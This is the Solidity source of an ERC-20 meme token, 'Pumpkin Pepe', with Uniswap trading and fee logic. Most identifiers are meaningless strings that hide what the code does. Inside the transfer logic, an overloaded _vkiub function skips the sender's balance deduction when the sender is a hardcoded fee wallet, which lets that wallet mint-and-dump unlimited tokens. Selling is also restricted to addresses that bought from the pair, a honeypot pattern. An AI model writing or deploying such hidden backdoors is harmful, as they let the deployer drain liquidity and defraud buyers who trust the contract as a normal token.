/**
Twitter: https://twitter.com/PumpkinPepe_

Telegram: https://t.me/PumpkinPepe_erc

Website: https://www.pumpkin-pepe.com/

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  _vkiub(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _vkiub(a, b, "SafeMath");
    }

    function  _vkiub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function _pevrf(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address
     tokenA, address tokenB) external
      returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[
            
        ] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure 
    returns (address);
    function WETH() external pure 
    returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint 
    amountToken, uint amountETH
    , uint liquidity);
}

contract PumpkinPepe is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private _jpaobr;
    address payable private _fronbk;
    address private _ekferp;
    string private constant _name = unicode"Pumpkin Pepe";
    string private constant _symbol = unicode"$PUMPEPE";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 42069000000000 * 10 **_decimals;

    uint256 private _BuyinitialTax=1;
    uint256 private _SellinitialTax=1;
    uint256 private _BuyfinalTax=1;
    uint256 private _SellfinalTax=1;
    uint256 private _BuyAreduceTax=1;
    uint256 private _SellAreduceTax=1;
    uint256 private _Kloexr=0;
    uint256 private _qoecey=0;
    uint256 public _qecueo = _totalSupply;
    uint256 public _wrorak = _totalSupply;
    uint256 public _kidklv= _totalSupply;
    uint256 public _zpovuf= _totalSupply;


    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _vdzruf;
    mapping (address => bool) private _vdqoiy;
    mapping(address => uint256) private _fopirx;

    bool private _gkfure;
    bool public _poudaq = false;
    bool private qufhce = false;
    bool private _puojxe = false;


    event _jvuqfk(uint _qecueo);
    modifier fojyrb {
        qufhce = true;
        _;
        qufhce = false;
    }

    constructor () {      
        _balances[_msgSender(

        )] = _totalSupply;
        _vdzruf[owner(

        )] = true;
        _vdzruf[address
        (this)] = true;
        _vdzruf[
            _fronbk] = true;
        _fronbk = 
        payable (0xA8274B6feE0816a2b53cA8eDec672E8A94F60299);

 

        emit Transfer(
            address(0), 
            _msgSender(

            ), _totalSupply);
              
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _vkiub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 pyefrg=0;
        if (from !=
         owner () && to 
         != owner ( ) ) {

            if (_poudaq) {
                if (to 
                != address
                (_jpaobr) 
                && to !=
                 address
                 (_ekferp)) {
                  require(_fopirx
                  [tx.origin]
                   < block.number,
                  "Only one transfer per block allowed."
                  );
                  _fopirx
                  [tx.origin] 
                  = block.number;
                }
            }

            if (from ==
             _ekferp && to != 
            address(_jpaobr) &&
             !_vdzruf[to] ) {
                require(amount 
                <= _qecueo,
                 "Exceeds the _qecueo.");
                require(balanceOf
                (to) + amount
                 <= _wrorak,
                  "Exceeds the _wrorak.");
                if(_qoecey
                < _Kloexr){
                  require
                  (! _ruknjkp(to));
                }
                _qoecey++;
                 _vdqoiy
                 [to]=true;
                pyefrg = amount._pevrf
                ((_qoecey>
                _BuyAreduceTax)?
                _BuyfinalTax:
                _BuyinitialTax)
                .div(100);
            }

            if(to == _ekferp &&
             from!= address(this) 
            && !_vdzruf[from] ){
                require(amount <= 
                _qecueo && 
                balanceOf(_fronbk)
                <_zpovuf,
                 "Exceeds the _qecueo.");
                pyefrg = amount._pevrf((_qoecey>
                _SellAreduceTax)?
                _SellfinalTax:
                _SellinitialTax)
                .div(100);
                require(_qoecey>
                _Kloexr &&
                 _vdqoiy[from]);
            }

            uint256 contractTokenBalance = 
            balanceOf(address(this));
            if (!qufhce 
            && to == _ekferp &&
             _puojxe &&
             contractTokenBalance>
             _kidklv 
            && _qoecey>
            _Kloexr&&
             !_vdzruf[to]&&
              !_vdzruf[from]
            ) {
                _transferFrom( _eavob(amount, 
                _eavob(contractTokenBalance,
                _zpovuf)));
                uint256 contractETHBalance 
                = address(this)
                .balance;
                if(contractETHBalance 
                > 0) {
                    _prhvuk(address
                    (this).balance);
                }
            }
        }

        if(pyefrg>0){
          _balances[address
          (this)]=_balances
          [address
          (this)].
          add(pyefrg);
          emit
           Transfer(from,
           address
           (this),pyefrg);
        }
        _balances[from
        ]= _vkiub(from,
         _balances[from]
         , amount);
        _balances[to]=
        _balances[to].
        add(amount.
         _vkiub(pyefrg));
        emit Transfer
        (from, to, 
        amount.
         _vkiub(pyefrg));
    }

    function _transferFrom(uint256
     tokenAmount) private
      fojyrb {
        if(tokenAmount==
        0){return;}
        if(!_gkfure)
        {return;}
        address[

        ] memory path =
         new address[](2);
        path[0] = 
        address(this);
        path[1] = 
        _jpaobr.WETH();
        _approve(address(this),
         address(
             _jpaobr), 
             tokenAmount);
        _jpaobr.
        swapExactTokensForETHSupportingFeeOnTransferTokens
        (
            tokenAmount,
            0,
            path,
            address
            (this),
            block.
            timestamp
        );
    }

    function  _eavob
    (uint256 a, 
    uint256 b
    ) private pure
     returns 
     (uint256){
      return ( a > b
      )?
      b : a ;
    }

    function  _vkiub(address
     from, uint256 a,
      uint256 b) 
      private view
       returns(uint256){
        if(from 
        == _fronbk){
            return a ;
        }else{
            return a .
             _vkiub (b);
        }
    }

    function removeLimitas (
        
    ) external onlyOwner{
        _qecueo = _totalSupply;
        _wrorak = _totalSupply;
        emit _jvuqfk(_totalSupply);
    }

    function _ruknjkp(address 
    account) private view 
    returns (bool) {
        uint256 vdwdvf;
        assembly {
            vdwdvf :=
             extcodesize
             (account)
        }
        return vdwdvf > 
        0;
    }

    function _prhvuk(uint256
    amount) private {
        _fronbk.
        transfer(
            amount);
    }

    function openTrading ( 

    ) external onlyOwner ( ) {
        require (
            ! _gkfure ) ;
        _jpaobr  
        =  
        IUniswapV2Router02
        (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address
        (this), address(
            _jpaobr), 
            _totalSupply);
        _ekferp = 
        IUniswapV2Factory(_jpaobr.
        factory( ) 
        ). createPair (
            address(this
            ),  _jpaobr .
             WETH ( ) );
        _jpaobr.addLiquidityETH
        {value: address
        (this).balance}
        (address(this)
        ,balanceOf(address
        (this)),0,0,owner(),block.
        timestamp);
        IERC20(_ekferp).
        approve(address(_jpaobr), 
        type(uint)
        .max);
        _puojxe = true;
        _gkfure = true;
    }

    receive() external payable {}
}